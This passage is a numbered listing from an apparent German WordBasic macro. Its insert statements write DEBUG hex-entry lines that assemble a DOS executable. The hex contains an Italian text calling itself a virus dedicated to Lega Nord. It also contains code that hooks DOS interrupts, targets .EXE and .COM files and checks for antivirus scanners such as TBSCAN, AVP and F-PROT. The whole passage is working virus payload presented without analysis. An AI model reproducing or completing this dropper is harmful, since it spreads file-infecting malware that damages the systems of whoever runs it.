  5057. EinfügenAbsatz
  5058. Einfügen "Print #1," + Chr$(34) + "E 0330 68 6F 20 73 65 65 6B 20 73 65 70 61 72 61 74 69" + Chr$(34)
  5059. EinfügenAbsatz
  5060. Einfügen "Print #1," + Chr$(34) + "E 0340 6F 6E 20 66 72 6F 6D 20 53 6F 75 74 68 65 72 6E" + Chr$(34)
  5061. EinfügenAbsatz
  5062. Einfügen "Print #1," + Chr$(34) + "E 0350 20 49 74 61 6C 79 0D 0A 61 6E 64 20 74 6F 20 74" + Chr$(34)
  5063. EinfügenAbsatz
  5064. Einfügen "Print #1," + Chr$(34) + "E 0360 68 65 69 72 20 70 61 72 74 79 20 4C 65 67 61 20" + Chr$(34)
  5065. EinfügenAbsatz
  5066. Einfügen "Print #1," + Chr$(34) + "E 0370 4E 6F 72 64 2E 0D 0A 51 75 65 73 74 6F 20 76 69" + Chr$(34)
  5067. EinfügenAbsatz
  5068. Einfügen "Print #1," + Chr$(34) + "E 0380 72 75 73 20 65 27 20 64 65 64 69 63 61 74 6F 20" + Chr$(34)
  5069. EinfügenAbsatz
  5070. Einfügen "Print #1," + Chr$(34) + "E 0390 61 67 6C 69 20 61 62 69 74 61 6E 74 69 20 64 65" + Chr$(34)
  5071. EinfügenAbsatz
  5072. Einfügen "Print #1," + Chr$(34) + "E 03A0 6C 6C 61 20 50 61 64 61 6E 69 61 2C 20 69 6E 20" + Chr$(34)
  5073. EinfügenAbsatz
  5074. Einfügen "Print #1," + Chr$(34) + "E 03B0 63 65 72 63 61 20 64 65 6C 6C 27 0D 0A 69 6E 64" + Chr$(34)
  5075. EinfügenAbsatz
  5076. Einfügen "Print #1," + Chr$(34) + "E 03C0 69 70 65 6E 64 65 6E 7A 61 20 64 61 6C 20 73 75" + Chr$(34)
  5077. EinfügenAbsatz
  5078. Einfügen "Print #1," + Chr$(34) + "E 03D0 64 20 69 74 61 6C 69 61 2C 20 65 64 20 61 6C 20" + Chr$(34)
  5079. EinfügenAbsatz
  5080. Einfügen "Print #1," + Chr$(34) + "E 03E0 6C 6F 72 6F 20 6D 6F 76 69 6D 65 6E 74 6F 20 4C" + Chr$(34)
  5081. EinfügenAbsatz
  5082. Einfügen "Print #1," + Chr$(34) + "E 03F0 65 67 61 20 4E 6F 72 64 0D 0A CD 20 00 FA 80 FC" + Chr$(34)
  5083. EinfügenAbsatz
  5084. Einfügen "Print #1," + Chr$(34) + "E 0400 6C 77 24 80 FC 33 72 1F 74 16 80 FC 64 77 11 74" + Chr$(34)
  5085. EinfügenAbsatz
  5086. Einfügen "Print #1," + Chr$(34) + "E 0410 16 80 FC 51 74 11 80 FC 62 74 05 80 FC 50 74 07" + Chr$(34)
  5087. EinfügenAbsatz
  5088. Einfügen "Print #1," + Chr$(34) + "E 0420 50 53 51 90 59 5B 58 2E 3A 26 73 03 74 48 80 FC" + Chr$(34)
  5089. EinfügenAbsatz
  5090. Einfügen "Print #1," + Chr$(34) + "E 0430 3D 74 43 3D 00 6C 74 3E 80 FC 43 74 39 80 FC 41" + Chr$(34)
  5091. EinfügenAbsatz
  5092. Einfügen "Print #1," + Chr$(34) + "E 0440 74 34 2E 3A 26 74 03 74 30 2E 3A 26 75 03 74 29" + Chr$(34)
  5093. EinfügenAbsatz
  5094. Einfügen "Print #1," + Chr$(34) + "E 0450 80 FC 4E 74 27 80 FC 4F 74 22 80 FC 42 74 20 80" + Chr$(34)
  5095. EinfügenAbsatz
  5096. Einfügen "Print #1," + Chr$(34) + "E 0460 FC 3F 74 1E 3D 00 57 74 1B 80 FC 3E 74 18 EA 00" + Chr$(34)
  5097. EinfügenAbsatz
  5098. Einfügen "Print #1," + Chr$(34) + "E 0470 00 00 00 4B 11 12 E9 A4 02 E9 33 02 E9 D1 01 E9" + Chr$(34)
  5099. EinfügenAbsatz
  5100. Einfügen "Print #1," + Chr$(34) + "E 0480 5A 01 EB 52 EB 26 EB 00 E8 3D 00 74 02 EB DF 50" + Chr$(34)
  5101. EinfügenAbsatz
  5102. Einfügen "Print #1," + Chr$(34) + "E 0490 51 52 B8 00 57 E8 DB 09 80 E1 E0 80 C9 02 B8 48" + Chr$(34)
  5103. EinfügenAbsatz
  5104. Einfügen "Print #1," + Chr$(34) + "E 04A0 AD 35 49 FA E8 CC 09 5A 59 58 EB C2 E8 C4 09 72" + Chr$(34)
  5105. EinfügenAbsatz
  5106. Einfügen "Print #1," + Chr$(34) + "E 04B0 14 9C 51 80 E1 1F 80 F9 1F 75 08 59 80 E1 E0 80" + Chr$(34)
  5107. EinfügenAbsatz
  5108. Einfügen "Print #1," + Chr$(34) + "E 04C0 C9 02 51 59 9D CA 02 00 51 52 E8 35 06 80 E1 1F" + Chr$(34)
  5109. EinfügenAbsatz
  5110. Einfügen "Print #1," + Chr$(34) + "E 04D0 80 F9 1F 5A 59 C3 E8 0D 06 74 02 EB 91 E8 E8 FF" + Chr$(34)
  5111. EinfügenAbsatz
  5112. Einfügen "Print #1," + Chr$(34) + "E 04E0 75 F9 E8 2B 03 74 F4 50 52 E8 E4 00 2E 89 16 4E" + Chr$(34)
  5113. EinfügenAbsatz
  5114. Einfügen "Print #1," + Chr$(34) + "E 04F0 05 2E A3 4C 05 5A 58 2E 89 16 48 05 E8 74 09 73" + Chr$(34)
  5115. EinfügenAbsatz
  5116. Einfügen "Print #1," + Chr$(34) + "E 0500 03 E9 C9 00 9C 51 52 56 2E A3 4A 05 2E 83 3E 4E" + Chr$(34)
  5117. EinfügenAbsatz
  5118. Einfügen "Print #1," + Chr$(34) + "E 0510 05 00 75 59 2E 83 3E 4C 05 1C 73 51 E8 B1 00 52" + Chr$(34)
  5119. EinfügenAbsatz
  5120. Einfügen "Print #1," + Chr$(34) + "E 0520 50 E8 AF 05 2D 1C 00 83 DA 00 2E 03 06 4C 05 83" + Chr$(34)
  5121. EinfügenAbsatz
  5122. Einfügen "Print #1," + Chr$(34) + "E 0530 D2 00 8B CA 8B D0 B8 00 42 E8 37 09 2E A1 4C 05" + Chr$(34)
  5123. EinfügenAbsatz
  5124. Einfügen "Print #1," + Chr$(34) + "E 0540 2E 03 06 4A 05 3D 1C 00 76 0C B8 1C 00 2E 2B 06" + Chr$(34)
  5125. EinfügenAbsatz
  5126. Einfügen "Print #1," + Chr$(34) + "E 0550 4C 05 8B C8 EB 05 2E 8B 0E 4A 05 2E 8B 16 48 05" + Chr$(34)
  5127. EinfügenAbsatz
  5128. Einfügen "Print #1," + Chr$(34) + "E 0560 B4 3F E8 0E 09 5A 59 B8 00 42 E8 06 09 2E A1 4A" + Chr$(34)
  5129. EinfügenAbsatz
  5130. Einfügen "Print #1," + Chr$(34) + "E 0570 05 2E 01 06 4C 05 2E 83 16 4E 05 00 E8 54 05 2D" + Chr$(34)
  5131. EinfügenAbsatz
  5132. Einfügen "Print #1," + Chr$(34) + "E 0580 EE 0D 83 DA 00 2E 3B 16 4E 05 77 29 72 07 2E 3B" + Chr$(34)
  5133. EinfügenAbsatz
  5134. Einfügen "Print #1," + Chr$(34) + "E 0590 06 4C 05 73 20 50 52 2E 29 06 4C 05 2E 19 16 4E" + Chr$(34)
  5135. EinfügenAbsatz
  5136. Einfügen "Print #1," + Chr$(34) + "E 05A0 05 2E A1 4C 05 2E 29 06 4A 05 5A 58 2E 89 16 4E" + Chr$(34)
  5137. EinfügenAbsatz
  5138. Einfügen "Print #1," + Chr$(34) + "E 05B0 05 2E A3 4C 05 2E 8B 16 4C 05 2E 8B 0E 4E 05 B8" + Chr$(34)
  5139. EinfügenAbsatz
  5140. Einfügen "Print #1," + Chr$(34) + "E 05C0 00 42 E8 AE 08 5E 5A 59 2E A1 4A 05 9D CA 02 00" + Chr$(34)
  5141. EinfügenAbsatz
  5142. Einfügen "Print #1," + Chr$(34) + "E 05D0 51 B8 01 42 2B C9 99 E8 99 08 59 C3 E8 07 05 74" + Chr$(34)
  5143. EinfügenAbsatz
  5144. Einfügen "Print #1," + Chr$(34) + "E 05E0 03 E9 8A FE E8 E1 FE 75 F8 E8 24 02 74 F3 E8 82" + Chr$(34)
  5145. EinfügenAbsatz
  5146. Einfügen "Print #1," + Chr$(34) + "E 05F0 08 72 52 9C 2E 89 16 4E 05 2E A3 4C 05 50 51 52" + Chr$(34)
  5147. EinfügenAbsatz
  5148. Einfügen "Print #1," + Chr$(34) + "E 0600 B8 02 42 99 2B C9 E8 6A 08 2D EE 0D 83 DA 00 2E" + Chr$(34)
  5149. EinfügenAbsatz
  5150. Einfügen "Print #1," + Chr$(34) + "E 0610 3B 16 4E 05 77 12 72 07 2E 3B 06 4C 05 73 09 2E" + Chr$(34)
  5151. EinfügenAbsatz
  5152. Einfügen "Print #1," + Chr$(34) + "E 0620 89 16 4E 05 2E A3 4C 05 2E 8B 16 4C 05 2E 8B 0E" + Chr$(34)
  5153. EinfügenAbsatz
  5154. Einfügen "Print #1," + Chr$(34) + "E 0630 4E 05 B8 00 42 E8 3B 08 5A 59 58 9D 2E A1 4C 05" + Chr$(34)
  5155. EinfügenAbsatz
  5156. Einfügen "Print #1," + Chr$(34) + "E 0640 2E 8B 16 4E 05 CA 02 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5157. EinfügenAbsatz
  5158. Einfügen "Print #1," + Chr$(34) + "E 0650 E8 BD 01 75 03 E9 16 FE E8 18 08 72 4F 9C 50 53" + Chr$(34)
  5159. EinfügenAbsatz
  5160. Einfügen "Print #1," + Chr$(34) + "E 0660 56 06 B4 2F E8 0C 08 8D 77 1E 26 80 3C 00 74 03" + Chr$(34)
  5161. EinfügenAbsatz
  5162. Einfügen "Print #1," + Chr$(34) + "E 0670 46 EB F7 26 81 7C FE 58 45 74 08 26 81 7C FE 4F" + Chr$(34)
  5163. EinfügenAbsatz
  5164. Einfügen "Print #1," + Chr$(34) + "E 0680 4D 74 00 26 8B 47 16 24 1F 3C 02 75 1A 26 83 7F" + Chr$(34)
  5165. EinfügenAbsatz
  5166. Einfügen "Print #1," + Chr$(34) + "E 0690 1C 00 75 08 26 81 7F 1A C9 13 72 0B 26 81 6F 1A" + Chr$(34)
  5167. EinfügenAbsatz
  5168. Einfügen "Print #1," + Chr$(34) + "E 06A0 EE 0D 26 83 5F 1C 00 07 5E 5B 58 9D CA 02 00 50" + Chr$(34)
  5169. EinfügenAbsatz
  5170. Einfügen "Print #1," + Chr$(34) + "E 06B0 53 1E B4 51 E8 BC 07 4B 8E DB 81 3E 0A 00 4D 4D" + Chr$(34)
  5171. EinfügenAbsatz
  5172. Einfügen "Print #1," + Chr$(34) + "E 06C0 1F 5B 58 75 55 E8 AB 07 3C 00 74 01 CF 50 53 1E" + Chr$(34)
  5173. EinfügenAbsatz
  5174. Einfügen "Print #1," + Chr$(34) + "E 06D0 06 B4 2F E8 9D 07 26 80 3F FF 75 03 83 C3 07 26" + Chr$(34)
  5175. EinfügenAbsatz
  5176. Einfügen "Print #1," + Chr$(34) + "E 06E0 81 7F 09 45 58 74 0A 26 81 7F 09 43 4F 74 02 EB" + Chr$(34)
  5177. EinfügenAbsatz
  5178. Einfügen "Print #1," + Chr$(34) + "E 06F0 24 26 8A 47 17 24 1F 3C 02 75 1A 26 83 7F 1F 00" + Chr$(34)
  5179. EinfügenAbsatz
  5180. Einfügen "Print #1," + Chr$(34) + "E 0700 75 08 26 81 7F 1D C9 13 72 0B 26 81 6F 1D EE 0D" + Chr$(34)
  5181. EinfügenAbsatz
  5182. Einfügen "Print #1," + Chr$(34) + "E 0710 26 83 5F 1F 00 07 1F 5B 58 CF E9 51 FD 9C 50 53" + Chr$(34)
  5183. EinfügenAbsatz
  5184. Einfügen "Print #1," + Chr$(34) + "E 0720 51 52 56 57 1E 06 55 E8 10 04 86 E0 3D 4B 00 86" + Chr$(34)
  5185. EinfügenAbsatz
  5186. Einfügen "Print #1," + Chr$(34) + "E 0730 E0 75 03 E8 89 01 E8 66 00 E8 26 04 5D 07 1F 5F" + Chr$(34)
  5187. EinfügenAbsatz
  5188. Einfügen "Print #1," + Chr$(34) + "E 0740 5E 5A 59 5B 58 9D 80 FC 3D 74 08 3D 00 6C 74 03" + Chr$(34)
  5189. EinfügenAbsatz
  5190. Einfügen "Print #1," + Chr$(34) + "E 0750 E9 1B FD 56 52 80 FC 6C 75 0A F6 C2 02 74 03 F9" + Chr$(34)
  5191. EinfügenAbsatz
  5192. Einfügen "Print #1," + Chr$(34) + "E 0760 EB 07 8B D6 8B F2 E8 F5 00 5A 5E 72 E3 E8 03 07" + Chr$(34)
  5193. EinfügenAbsatz
  5194. Einfügen "Print #1," + Chr$(34) + "E 0770 72 2A 9C 50 53 51 52 8B D8 B8 00 57 E8 F4 06 72" + Chr$(34)
  5195. EinfügenAbsatz
  5196. Einfügen "Print #1," + Chr$(34) + "E 0780 16 51 80 E1 1F 80 F9 02 59 75 0C B8 BD 6F 35 BC" + Chr$(34)
  5197. EinfügenAbsatz
  5198. Einfügen "Print #1," + Chr$(34) + "E 0790 38 80 C9 1F E8 DC 06 5A 59 5B 58 9D CA 02 00 80" + Chr$(34)
  5199. EinfügenAbsatz
  5200. Einfügen "Print #1," + Chr$(34) + "E 07A0 FC 6C 75 02 8B D6 8B F2 E8 B3 00 73 03 C3 00 00" + Chr$(34)
  5201. EinfügenAbsatz
  5202. Einfügen "Print #1," + Chr$(34) + "E 07B0 B8 00 43 E8 BD 06 72 10 2E 89 0E AE 06 2B C9 B8" + Chr$(34)
  5203. EinfügenAbsatz
  5204. Einfügen "Print #1," + Chr$(34) + "E 07C0 B2 09 35 B3 4A E8 AB 06 B8 02 3D E8 A5 06 72 3F" + Chr$(34)
  5205. EinfügenAbsatz
  5206. Einfügen "Print #1," + Chr$(34) + "E 07D0 0E 1F 8B D8 BA 7D 0D B9 1C 00 B4 3F E8 94 06 BE" + Chr$(34)
  5207. EinfügenAbsatz
  5208. Einfügen "Print #1," + Chr$(34) + "E 07E0 7D 0D B8 3A C3 35 77 99 39 04 74 0B 86 E0 39 04" + Chr$(34)
  5209. EinfügenAbsatz
  5210. Einfügen "Print #1," + Chr$(34) + "E 07F0 74 05 E8 A5 01 EB 03 E8 06 02 B4 3E E8 74 06 BA" + Chr$(34)
  5211. EinfügenAbsatz
  5212. Einfügen "Print #1," + Chr$(34) + "E 0800 99 0D 8B 0E AE 06 B8 DC D5 35 DD 96 E8 64 06 C3" + Chr$(34)
  5213. EinfügenAbsatz
  5214. Einfügen "Print #1," + Chr$(34) + "E 0810 50 53 1E B4 51 E8 5B 06 4B 8E DB A1 08 00 3D 50" + Chr$(34)
  5215. EinfügenAbsatz
  5216. Einfügen "Print #1," + Chr$(34) + "E 0820 4B 74 37 3D 41 52 74 32 3D 55 55 74 2D 3D 42 41" + Chr$(34)
  5217. EinfügenAbsatz
  5218. Einfügen "Print #1," + Chr$(34) + "E 0830 74 28 3D 4C 48 74 23 3D 52 41 74 1E 3D 4D 4F 74" + Chr$(34)
  5219. EinfügenAbsatz
  5220. Einfügen "Print #1," + Chr$(34) + "E 0840 19 3D 53 50 74 14 3D 44 45 74 0F 3D 4D 53 74 05" + Chr$(34)
  5221. EinfügenAbsatz
  5222. Einfügen "Print #1," + Chr$(34) + "E 0850 3D 43 50 75 05 80 3E 0A 00 42 1F 5B 58 C3 50 1E" + Chr$(34)
  5223. EinfügenAbsatz
  5224. Einfügen "Print #1," + Chr$(34) + "E 0860 56 57 06 0E 07 BF 99 0D B4 60 E8 06 06 0E 1F BE" + Chr$(34)
  5225. EinfügenAbsatz
  5226. Einfügen "Print #1," + Chr$(34) + "E 0870 99 0D 80 7C 02 2F 74 40 80 3C 00 74 05 46 8B FE" + Chr$(34)
  5227. EinfügenAbsatz
  5228. Einfügen "Print #1," + Chr$(34) + "E 0880 EB F6 80 3C 5C 74 03 4E EB F8 46 8B 04 3D 41 56" + Chr$(34)
  5229. EinfügenAbsatz
  5230. Einfügen "Print #1," + Chr$(34) + "E 0890 74 26 3D 54 42 74 21 3D 56 49 74 1C 3D 50 52 74" + Chr$(34)
  5231. EinfügenAbsatz
  5232. Einfügen "Print #1," + Chr$(34) + "E 08A0 17 3D 2D 56 74 12 8B 45 FE 3D 58 45 74 07 3D 4F" + Chr$(34)
  5233. EinfügenAbsatz
  5234. Einfügen "Print #1," + Chr$(34) + "E 08B0 4D 74 02 EB 03 F8 EB 01 F9 07 5F 5E 1F 58 C3 9C" + Chr$(34)
  5235. EinfügenAbsatz
  5236. Einfügen "Print #1," + Chr$(34) + "E 08C0 50 53 51 52 56 57 1E 06 0E 07 8B F2 BF 99 0D B4" + Chr$(34)
  5237. EinfügenAbsatz
  5238. Einfügen "Print #1," + Chr$(34) + "E 08D0 60 E8 9F 05 0E 1F BE 99 0D 46 80 3C 00 75 FA 4E" + Chr$(34)
  5239. EinfügenAbsatz
  5240. Einfügen "Print #1," + Chr$(34) + "E 08E0 80 3C 5C 75 FA 46 BF 47 08 FC 56 AC 80 3D 00 74" + Chr$(34)
  5241. EinfügenAbsatz
  5242. Einfügen "Print #1," + Chr$(34) + "E 08F0 22 47 3A 45 FF 74 F4 5E 56 80 3D 00 74 03 47 EB" + Chr$(34)
  5243. EinfügenAbsatz
  5244. Einfügen "Print #1," + Chr$(34) + "E 0900 F8 47 80 3D 00 74 03 47 EB F8 47 80 3D 00 75 DB" + Chr$(34)
  5245. EinfügenAbsatz
  5246. Einfügen "Print #1," + Chr$(34) + "E 0910 5E EB 2A 5E 47 07 06 26 8B 77 02 26 8E 5F 04 2E" + Chr$(34)
  5247. EinfügenAbsatz
  5248. Einfügen "Print #1," + Chr$(34) + "E 0920 8A 05 00 04 46 80 3C 0D 75 FA C6 04 20 46 47 2E" + Chr$(34)
  5249. EinfügenAbsatz
  5250. Einfügen "Print #1," + Chr$(34) + "E 0930 8A 05 3C 00 74 04 88 04 EB F3 C6 04 0D 07 1F 5F" + Chr$(34)
  5251. EinfügenAbsatz
  5252. Einfügen "Print #1," + Chr$(34) + "E 0940 5E 5A 59 5B 58 9D C3 54 42 53 43 41 4E 00 06 43" + Chr$(34)
  5253. EinfügenAbsatz
  5254. Einfügen "Print #1," + Chr$(34) + "E 0950 4F 20 4E 4D 00 54 42 53 45 54 55 50 00 03 52 4D" + Chr$(34)
  5255. EinfügenAbsatz
  5256. Einfügen "Print #1," + Chr$(34) + "E 0960 00 41 56 50 00 03 2F 4D 00 46 2D 50 52 4F 54 00" + Chr$(34)
  5257. EinfügenAbsatz
  5258. Einfügen "Print #1," + Chr$(34) + "E 0970 0F 2F 4E 4F 4D 45 4D 20 2F 43 4F 4D 50 41 54 00" + Chr$(34)
  5259. EinfügenAbsatz
  5260. Einfügen "Print #1," + Chr$(34) + "E 0980 53 43 41 4E 00 07 2F 4E 4F 4D 45 4D 00 41 56 53" + Chr$(34)
  5261. EinfügenAbsatz
  5262. Einfügen "Print #1," + Chr$(34) + "E 0990 43 41 4E 00 04 2F 4E 4D 00 00 E8 57 01 75 01 C3" + Chr$(34)
  5263. EinfügenAbsatz
  5264. Einfügen "Print #1," + Chr$(34) + "E 09A0 8B 04 A3 FA 02 8A 44 02 A2 FC 02 E8 5D 01 E8 22" + Chr$(34)
  5265. EinfügenAbsatz
  5266. Einfügen "Print #1," + Chr$(34) + "E 09B0 01 0B D2 75 4A 3D 50 C3 77 45 3D DC 05 72 40 50" + Chr$(34)
  5267. EinfügenAbsatz
  5268. Einfügen "Print #1," + Chr$(34) + "E 09C0 2D 03 00 A3 7B 0D 58 05 00 01 B2 01 2B F6 BF 85" + Chr$(34)
  5269. EinfügenAbsatz
  5270. Einfügen "Print #1," + Chr$(34) + "E 09D0 0E B9 7D 0D 0E 07 E8 A3 01 BA 85 0E B4 40 E8 92" + Chr$(34)
  5271. EinfügenAbsatz
  5272. Einfügen "Print #1," + Chr$(34) + "E 09E0 04 72 1C BA 7D 0D B9 1C 00 B4 40 E8 85 04 E8 E6" + Chr$(34)
  5273. EinfügenAbsatz
  5274. Einfügen "Print #1," + Chr$(34) + "E 09F0 00 BA 7A 0D B9 03 00 B4 40 E8 77 04 E8 1E 01 C3" + Chr$(34)
  5275. EinfügenAbsatz
  5276. Einfügen "Print #1," + Chr$(34) + "E 0A00 E8 F1 00 75 01 C3 83 7C 18 40 75 03 E9 C3 00 83" + Chr$(34)
  5277. EinfügenAbsatz
  5278. Einfügen "Print #1," + Chr$(34) + "E 0A10 7C 0C FF 74 03 E9 BA 00 E8 F0 00 E8 B5 00 0B D2" + Chr$(34)
  5279. EinfügenAbsatz
  5280. Einfügen "Print #1," + Chr$(34) + "E 0A20 75 08 3D D0 07 73 03 E9 A8 00 53 8B D8 8B CA 83" + Chr$(34)
  5281. EinfügenAbsatz
  5282. Einfügen "Print #1," + Chr$(34) + "E 0A30 7C 02 00 74 03 FF 4C 04 B8 00 02 F7 64 04 03 44" + Chr$(34)
  5283. EinfügenAbsatz
  5284. Einfügen "Print #1," + Chr$(34) + "E 0A40 02 83 D2 00 3B C3 5B 74 03 E9 86 00 3B CA 74 03" + Chr$(34)
  5285. EinfügenAbsatz
  5286. Einfügen "Print #1," + Chr$(34) + "E 0A50 E9 7F 00 83 7C 02 00 74 03 FF 44 04 E8 74 00 B9" + Chr$(34)
  5287. EinfügenAbsatz
  5288. Einfügen "Print #1," + Chr$(34) + "E 0A60 10 00 F7 F1 8B C2 B2 00 2B F6 BF 85 0E B9 7D 0D" + Chr$(34)
  5289. EinfügenAbsatz
  5290. Einfügen "Print #1," + Chr$(34) + "E 0A70 0E 07 E8 07 01 BA 85 0E B4 40 E8 F6 03 72 53 BA" + Chr$(34)
  5291. EinfügenAbsatz
  5292. Einfügen "Print #1," + Chr$(34) + "E 0A80 7D 0D 8B F2 B9 1C 00 B4 40 E8 E7 03 E8 44 00 2D" + Chr$(34)
  5293. EinfügenAbsatz
  5294. Einfügen "Print #1," + Chr$(34) + "E 0A90 EE 0D 83 DA 00 B9 10 00 F7 F1 2B 44 08 89 54 14" + Chr$(34)
  5295. EinfügenAbsatz
  5296. Einfügen "Print #1," + Chr$(34) + "E 0AA0 89 44 16 05 D9 00 40 89 44 0E C7 44 10 00 02 E8" + Chr$(34)
  5297. EinfügenAbsatz
  5298. Einfügen "Print #1," + Chr$(34) + "E 0AB0 21 00 B9 00 02 F7 F1 0B D2 74 01 40 89 54 02 89" + Chr$(34)
  5299. EinfügenAbsatz
  5300. Einfügen "Print #1," + Chr$(34) + "E 0AC0 44 04 E8 12 00 8B D6 B9 1C 00 B4 40 E8 A4 03 E8" + Chr$(34)
  5301. EinfügenAbsatz
  5302. Einfügen "Print #1," + Chr$(34) + "E 0AD0 4B 00 C3 B0 02 EB 06 B0 00 EB 02 B0 01 B4 42 2B" + Chr$(34)
  5303. EinfügenAbsatz
  5304. Einfügen "Print #1," + Chr$(34) + "E 0AE0 C9 99 E8 8E 03 C3 50 52 B8 00 44 E8 85 03 F6 C2" + Chr$(34)
  5305. EinfügenAbsatz
  5306. Einfügen "Print #1," + Chr$(34) + "E 0AF0 80 5A 58 C3 51 52 E8 09 00 80 E1 1F 80 F9 02 5A" + Chr$(34)
  5307. EinfügenAbsatz
  5308. Einfügen "Print #1," + Chr$(34) + "E 0B00 59 C3 50 B8 00 57 E8 6A 03 58 C3 E8 F4 FF 2E 89" + Chr$(34)
  5309. EinfügenAbsatz
  5310. Einfügen "Print #1," + Chr$(34) + "E 0B10 16 19 0A 2E 89 0E 1B 0A C3 00 00 00 00 2E 8B 16" + Chr$(34)
  5311. EinfügenAbsatz
  5312. Einfügen "Print #1," + Chr$(34) + "E 0B20 19 0A 2E 8B 0E 1B 0A 80 E1 E0 80 C9 02 B8 13 CE" + Chr$(34)
  5313. EinfügenAbsatz
  5314. Einfügen "Print #1," + Chr$(34) + "E 0B30 35 12 99 E8 3D 03 C3 5E 56 C3 50 52 1E 06 53 B8" + Chr$(34)
  5315. EinfügenAbsatz
  5316. Einfügen "Print #1," + Chr$(34) + "E 0B40 24 35 E8 2E 03 0E 1F 89 1E 5E 0A 8C 06 60 0A BA" + Chr$(34)
  5317. EinfügenAbsatz
  5318. Einfügen "Print #1," + Chr$(34) + "E 0B50 79 0A B8 24 25 E8 1B 03 5B 07 1F 5A 58 C3 00 00" + Chr$(34)
  5319. EinfügenAbsatz
  5320. Einfügen "Print #1," + Chr$(34) + "E 0B60 00 00 50 1E 52 2E 8E 1E 60 0A 2E 8B 16 5E 0A B8" + Chr$(34)
  5321. EinfügenAbsatz
  5322. Einfügen "Print #1," + Chr$(34) + "E 0B70 24 25 E8 FE 02 5A 1F 58 C3 B0 03 CF FC C7 06 7C" + Chr$(34)
  5323. EinfügenAbsatz
  5324. Einfügen "Print #1," + Chr$(34) + "E 0B80 0E 01 00 C7 06 7E 0E 00 00 C7 06 80 0E 01 00 C7" + Chr$(34)
  5325. EinfügenAbsatz
  5326. Einfügen "Print #1," + Chr$(34) + "E 0B90 06 82 0E 00 00 A3 74 0E 89 0E 76 0E C6 06 84 0E" + Chr$(34)
  5327. EinfügenAbsatz
  5328. Einfügen "Print #1," + Chr$(34) + "E 0BA0 00 89 36 7A 0E 89 3E 78 0E C6 06 61 0E 00 B8 03" + Chr$(34)
  5329. EinfügenAbsatz
  5330. Einfügen "Print #1," + Chr$(34) + "E 0BB0 00 E8 9F 02 D1 E0 05 A0 0B 8B F0 8A 04 A2 65 0E" + Chr$(34)
  5331. EinfügenAbsatz
  5332. Einfügen "Print #1," + Chr$(34) + "E 0BC0 8A 44 01 A2 64 0E 2A E4 05 7C 0E 8B F0 C6 04 01" + Chr$(34)
  5333. EinfügenAbsatz
  5334. Einfügen "Print #1," + Chr$(34) + "E 0BD0 B8 08 00 E8 7D 02 A2 6E 0E 05 7C 0E 8B F0 80 3C" + Chr$(34)
  5335. EinfügenAbsatz
  5336. Einfügen "Print #1," + Chr$(34) + "E 0BE0 01 74 ED C6 04 01 B8 08 00 E8 67 02 A2 71 0E 05" + Chr$(34)
  5337. EinfügenAbsatz
  5338. Einfügen "Print #1," + Chr$(34) + "E 0BF0 7C 0E 8B F0 80 3C 01 74 ED C6 04 01 C6 06 7C 0E" + Chr$(34)
  5339. EinfügenAbsatz
  5340. Einfügen "Print #1," + Chr$(34) + "E 0C00 00 E8 46 01 E8 9F 00 C6 06 61 0E 01 8B EF 0A D2" + Chr$(34)
  5341. EinfügenAbsatz
  5342. Einfügen "Print #1," + Chr$(34) + "E 0C10 75 03 B0 2E AA B0 31 AA A0 6E 0E B1 03 D2 E0 0A" + Chr$(34)
  5343. EinfügenAbsatz
  5344. Einfügen "Print #1," + Chr$(34) + "E 0C20 06 65 0E AA E8 7F 00 B0 40 0A 06 64 0E AA E8 75" + Chr$(34)
  5345. EinfügenAbsatz
  5346. Einfügen "Print #1," + Chr$(34) + "E 0C30 00 B0 81 AA A0 6E 0E 0C C0 AA E8 26 02 AB A3 68" + Chr$(34)
  5347. EinfügenAbsatz
  5348. Einfügen "Print #1," + Chr$(34) + "E 0C40 0E E8 62 00 B0 48 0A 06 71 0E AA B0 75 AA 8B C7" + Chr$(34)
  5349. EinfügenAbsatz
  5350. Einfügen "Print #1," + Chr$(34) + "E 0C50 40 2B C5 F7 D8 AA 89 3E 62 0E 8B C7 F7 D8 03 06" + Chr$(34)
  5351. EinfügenAbsatz
  5352. Einfügen "Print #1," + Chr$(34) + "E 0C60 78 0E 05 55 00 8B 36 6A 0E 29 04 8B 36 6C 0E 01" + Chr$(34)
  5353. EinfügenAbsatz
  5354. Einfügen "Print #1," + Chr$(34) + "E 0C70 04 01 06 72 0E 8B C8 B0 90 F3 AA 8B 36 7A 0E 8B" + Chr$(34)
  5355. EinfügenAbsatz
  5356. Einfügen "Print #1," + Chr$(34) + "E 0C80 0E 76 0E F3 A4 A1 6F 0E 8B 36 62 0E 8B 0E 72 0E" + Chr$(34)
  5357. EinfügenAbsatz
  5358. Einfügen "Print #1," + Chr$(34) + "E 0C90 31 04 03 06 68 0E 46 E2 F7 2B 3E 78 0E 8B CF C3" + Chr$(34)
  5359. EinfügenAbsatz
  5360. Einfügen "Print #1," + Chr$(34) + "E 0CA0 04 06 05 07 07 03 B8 04 00 E8 A7 01 D1 E0 05 B7" + Chr$(34)
  5361. EinfügenAbsatz
  5362. Einfügen "Print #1," + Chr$(34) + "E 0CB0 0B 8B F0 8B 04 FF E0 23 0C 03 0C F8 0B DF 0B B4" + Chr$(34)
  5363. EinfügenAbsatz
  5364. Einfügen "Print #1," + Chr$(34) + "E 0CC0 01 CD 16 B4 02 CD 16 B4 0D CD 21 B4 19 CD 21 B4" + Chr$(34)
  5365. EinfügenAbsatz
  5366. Einfügen "Print #1," + Chr$(34) + "E 0CD0 54 CD 21 B4 0B CD 21 B4 3B CD 21 B4 00 CD 13 80" + Chr$(34)
  5367. EinfügenAbsatz
  5368. Einfügen "Print #1," + Chr$(34) + "E 0CE0 3E 61 0E 01 74 1D B8 08 00 E8 67 01 D1 E0 D1 E0" + Chr$(34)
  5369. EinfügenAbsatz
  5370. Einfügen "Print #1," + Chr$(34) + "E 0CF0 05 BF 0B 8B F0 A5 A5 C3 E8 3D 00 0C B8 AA E8 62" + Chr$(34)
  5371. EinfügenAbsatz
  5372. Einfügen "Print #1," + Chr$(34) + "E 0D00 01 AB C3 B8 08 00 E8 4A 01 B1 03 D2 E0 0C 03 AA" + Chr$(34)
  5373. EinfügenAbsatz
  5374. Einfügen "Print #1," + Chr$(34) + "E 0D10 E8 25 00 D2 E0 0C C0 8A C8 B8 08 00 E8 34 01 0A" + Chr$(34)
  5375. EinfügenAbsatz
  5376. Einfügen "Print #1," + Chr$(34) + "E 0D20 C1 AA C3 B8 02 00 E8 2A 01 B1 03 D2 E0 8A C8 E8" + Chr$(34)
  5377. EinfügenAbsatz
